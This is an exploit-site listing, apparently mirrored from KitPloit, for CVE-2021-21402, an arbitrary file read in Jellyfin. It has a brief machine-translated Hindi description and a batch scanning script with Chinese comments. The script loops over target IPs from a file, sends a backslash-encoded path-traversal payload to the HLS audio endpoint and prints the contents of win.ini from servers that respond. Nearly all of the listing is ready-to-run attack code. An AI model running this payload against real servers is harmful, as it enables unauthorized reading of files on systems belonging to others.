Sploitus

Exploit for CVE-2021-21402

kitploit · 2026-08-26

Exploit Code

MARKDOWN41 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-GIVEMEFIVW-CVE-2021-21402
# CVE-2021-21402

CVE-2021-21402 Jellyfin मनमानी फ़ाइल पढ़ना Wker स्क्रिप्ट, बैच करने योग्य।

तर्क बहुत सरल है, GET के माध्यम से win.ini की उपस्थिति की जाँच करें:

root@kitploit:~
    
    
    #define payload = /Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/
    #define info = CVE-2021-21402 Jellyfin任意文件读取
    
    function main(args){
    	dirs = StrSplit(ReadFile("script\CVE漏洞\CVE-2021\CVE-2021-21402 Jellyfin任意文件读取\ip.txt"),StrRN());
    	num = GetArrayNum(dirs);
    	i = 0;
    	while(i<num){
    		try{
    			res = HttpGet(dirs[ToInt(i)].payload,"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0");
    			if(StrFindStr(res[1],"200",0) != "-1"){
    				printclolor(dirs[ToInt(i)]." [+]存在".info.",正在读取win.ini文件",3);
    				print(res[0]);
    			}else{
    				printclolor(dirs[ToInt(i)]." [-]不存在".info,2);
    			
    			}
    		
    		}catch{
    			printclolor(dirs[ToInt(i)]." [-]目标异常！",5);
    		}
    		i = ToInt(i+1);
    	}
    
    }
    
    

## स्क्रीनशॉट

![](https://assets.kitploit.com/production/public/readmes/25922/33afcb379299f7552f6d2680e0d5ec8db79eba8fe40a15166adc0c7a8cb52680.png)